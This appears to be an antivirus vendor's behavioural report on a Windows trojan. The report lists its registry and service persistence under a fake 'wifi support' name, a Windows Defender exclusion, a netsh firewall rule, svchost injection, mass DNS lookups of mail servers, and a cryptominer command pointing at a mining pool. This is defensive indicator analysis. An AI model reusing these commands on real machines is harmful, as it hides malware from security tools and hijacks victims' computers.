Technical Information
To ensure autorun and distribution
Creates the following services
- [<HKLM>\System\CurrentControlSet\Services\jmlrzirc] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\jmlrzirc] 'ImagePath' = '%WINDIR%\SysWOW64\jmlrzirc\ulhofeim.exe /d"<Full path to file>"'
- [<HKLM>\SYSTEM\CurrentControlSet\services\jmlrzirc] 'ImagePath' = '%WINDIR%\SysWOW64\jmlrzirc\ulhofeim.exe'
Malicious functions
To complicate detection of its presence in the operating system,
adds antivirus exclusion with following registry keys:
- [<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%WINDIR%\SysWOW64\jmlrzirc' = '00000000'
Executes the following
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul
Injects code into
the following system processes:
- %WINDIR%\syswow64\svchost.exe
Modifies file system
Creates the following files
- %TEMP%\ulhofeim.exe
- %WINDIR%\syswow64\config\systemprofile:.repos
Moves the following files
- from %TEMP%\ulhofeim.exe to %WINDIR%\syswow64\jmlrzirc\ulhofeim.exe
Deletes itself.
Network activity
TCP
HTTP GET requests
- http://www.google.com/
- http://ap#.#pify.org/
UDP
- DNS ASK mi##########m.mail.protection.outlook.com
- DNS ASK pv#.org.uk
- DNS ASK mo##t.com
- DNS ASK se###.moakt.com
- DNS ASK at#.net
- DNS ASK al######x-vip1.prodigy.net
- DNS ASK ya##o.fr
- DNS ASK mx###.##il.am0.yahoodns.net
- DNS ASK mx#.###.#ailpod6-cph3.one.com
- DNS ASK pv##.com
- DNS ASK mx#.#anmail.net
- DNS ASK ji##ii.fi
- DNS ASK pe####n-relo.com
- DNS ASK ma####.singteldns.com
- DNS ASK ya###.com.tw
- DNS ASK mx###.##il.gm0.yahoodns.net
- DNS ASK ga###edao.com
- DNS ASK mx.##lus.net
- DNS ASK me##rex.fi
- DNS ASK te##s.net
- DNS ASK ki###anian.nl
- DNS ASK nb#.fi
- DNS ASK sy####.###l.protection.outlook.com
- DNS ASK pu####eenvelope.com
- DNS ASK kf##ta.se
- DNS ASK ma##.kfgota.se
- DNS ASK to##io.fi
- DNS ASK to#######.mail.eo.outlook.com
- DNS ASK qi#######01.mxmail.netease.com
- DNS ASK b1###.mx.srv.dfn.de
- DNS ASK ha##ail.net
- DNS ASK jo##.com
- DNS ASK ne###mail.net
- DNS ASK sm##.##cureserver.net
- DNS ASK pu###up.co.il
- DNS ASK ma##.#ush-up.co.il
- DNS ASK ne####pefilms.com
- DNS ASK mx##.##change.simply.ms
- DNS ASK se#####.inboundmx.com
- DNS ASK kg##oup.eu
- DNS ASK ma##.kggroup.eu
- DNS ASK eu######.prod.outlook.com
- DNS ASK nb####.###l.protection.outlook.com
- DNS ASK sm###.#vdrilling.com.vn
- DNS ASK ma###ity.com
- DNS ASK mx.#####.#om.cust.b.hostedemail.com
- DNS ASK at####approach.com
- DNS ASK ma##.##otalapproach.com
- DNS ASK ms#.#inet.net
- DNS ASK ms#####p-mx2.hinet.net
- DNS ASK vi###tron.ca
- DNS ASK pv####ling.com.vn
- DNS ASK tu##s.de
- DNS ASK ip##fo.io
- DNS ASK ma###rine.gr
- DNS ASK ma##.#akmarine.gr
- DNS ASK ga##base.fi
- DNS ASK so###com.net
- DNS ASK mx#######801.gslb.pphosted.com
- DNS ASK me##sha.com
- DNS ASK mx#######c01.gslb.pphosted.com
- DNS ASK mh###tnam.org
- DNS ASK mx.##deotron.ca
- DNS ASK sy#.fi
- DNS ASK ti###linet.it
- DNS ASK ya##o.de
- DNS ASK us#######nbound-2.mimecast.com
- DNS ASK da####rninic.com
- DNS ASK ki###stot.fi
- DNS ASK ma##.#irjastot.fi
- DNS ASK ad###aph.com
- DNS ASK al##sp.com
- DNS ASK sm###n.rzone.de
- DNS ASK et###.#ail.tiscali.it
- DNS ASK ab######andoresearch.com
- DNS ASK ps##i.com
- DNS ASK al##-g.com
- DNS ASK st####ti.unina.it
- DNS ASK fm###.unina.it
- DNS ASK rr#.com
- DNS ASK ik#.fi
- DNS ASK ma###.iki.fi
- DNS ASK te##ui.com
- DNS ASK ma##.#nnhat.com.vn
- DNS ASK an###t.com.vn
- DNS ASK dc#######b69ad4.banktree.co.uk
- DNS ASK ba###ree.co.uk
- DNS ASK mx##.ato.gov.au
- DNS ASK co##ast.net
- DNS ASK mx#.#omcast.net
- DNS ASK op###ols.com
- DNS ASK ch##pie.com
- DNS ASK ASPMX.L.GOOGLE.com
- DNS ASK te###onica.net
- DNS ASK mx#######901.gslb.pphosted.com
- DNS ASK mt##.##0.yahoodns.net
- DNS ASK ma##.#deurope.net
- DNS ASK tn####.telefonica.net
- DNS ASK mx##.ex13.net
- DNS ASK pr##.net
- DNS ASK mx#.#angia.biz
- DNS ASK mf###9-53.fr
- DNS ASK mx#.#nimedia.fr
- DNS ASK vu##gron.nl
- DNS ASK dl#.fi
- DNS ASK fe####.#ail.saunalahti.fi
- DNS ASK pu###udin.com
- DNS ASK io##x.fi
- DNS ASK ma##.cj2.nl
- DNS ASK co##eos.es
- DNS ASK gm##l.com
- DNS ASK 19#.###.#11.95.dnsbl.sorbs.net
- DNS ASK gmail-smtp-in.l.google.com
- DNS ASK eu##net.be
- DNS ASK 19#.###.#11.95.bl.spamcop.net
- DNS ASK mx.##arlet.be
- DNS ASK ya##o.com
- DNS ASK mx.###.correos.es
- DNS ASK pr#####sivetitle.com
- DNS ASK 19#.###.#11.95.zen.spamhaus.org
- DNS ASK 19#.###.##1.95.sbl-xbl.spamhaus.org
- DNS ASK as###.facebook.com
- DNS ASK 19#.###.#11.95.cbl.abuseat.org
- DNS ASK ho##ail.com
- DNS ASK ho#########.olc.protection.outlook.com
- DNS ASK qq.com
- DNS ASK mx#.qq.com
- DNS ASK 19#.###.211.95.in-addr.arpa
- DNS ASK mi####.bittubeapp.com
- DNS ASK mx#.##tsolmail.net
- DNS ASK wa##doo.fr
- DNS ASK ma##.##rtasol.com.br
- DNS ASK as###afoam.com
- DNS ASK alt2.aspmx.l.google.com
- DNS ASK 55##09.com
- DNS ASK ma##.550909.com
- DNS ASK ha####clinic.com
- DNS ASK mx#######b01.gslb.pphosted.com
- DNS ASK re###fmail.com
- DNS ASK sm####n.orange.fr
- DNS ASK mx.####ght.synacor.com
- DNS ASK in###htbb.com
- DNS ASK ma###w1.jyu.fi
- DNS ASK sa####ospital.org
- DNS ASK sm##.##lemhealth.org
- DNS ASK ot##ok.com
- DNS ASK io##one.net
- DNS ASK ma##.#piclink.net
- DNS ASK at#.gov.au
- DNS ASK mx.######mail.rediff.akadns.net
- DNS ASK cc.#yu.fi
- DNS ASK po###sol.com.br
- DNS ASK tu##.net
- DNS ASK we##nfo.fi
- DNS ASK po######63-3-210.x-city.ua
- DNS ASK qi#.net
- DNS ASK ma##.#-email.net
- DNS ASK qm##.com
- DNS ASK wr#.vn
- DNS ASK ko###n.pp.fi
- DNS ASK fe###.##il.saunalahti.fi
- DNS ASK qj#.##-net.ne.jp
- DNS ASK ms#####.so-net.ne.jp
- DNS ASK google.com
- DNS ASK ma##.#luetie.com
- DNS ASK tn#.net
- DNS ASK sm###w.turk.net
- DNS ASK fi##uny.edu
- DNS ASK ma####02.fitnyc.edu
- DNS ASK al###acasey.com
- DNS ASK 21##ollo.de
- DNS ASK go###email.com
- DNS ASK ja###reless.net
- DNS ASK mx##.iobox.com
Miscellaneous
Creates and executes the following
- '%WINDIR%\syswow64\jmlrzirc\ulhofeim.exe' /d"<Full path to file>"
- '%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\jmlrzirc\' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\ulhofeim.exe" %WINDIR%\SysWOW64\jmlrzirc\' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' create jmlrzirc binPath= "%WINDIR%\SysWOW64\jmlrzirc\ulhofeim.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' description jmlrzirc "wifi internet conection"' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' start jmlrzirc' (with hidden window)
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul' (with hidden window)
Executes the following
- '%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\jmlrzirc\
- '%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\ulhofeim.exe" %WINDIR%\SysWOW64\jmlrzirc\
- '%WINDIR%\syswow64\sc.exe' create jmlrzirc binPath= "%WINDIR%\SysWOW64\jmlrzirc\ulhofeim.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"
- '%WINDIR%\syswow64\sc.exe' description jmlrzirc "wifi internet conection"
- '%WINDIR%\syswow64\sc.exe' start jmlrzirc
- '%WINDIR%\syswow64\svchost.exe'
- '%WINDIR%\syswow64\svchost.exe' --algo=cn-heavy/tube -o mining.bittubeapp.com:13333 -u bs4msiPiHNGTd5uzvZ9AGM1tjQoTiEX9BXopJg5er3ebEQ8a8mcwkjP5jNwst8rmVSRuogLs18DAVQzV76oHkVBk27idvmtUp.60000 -p x -k
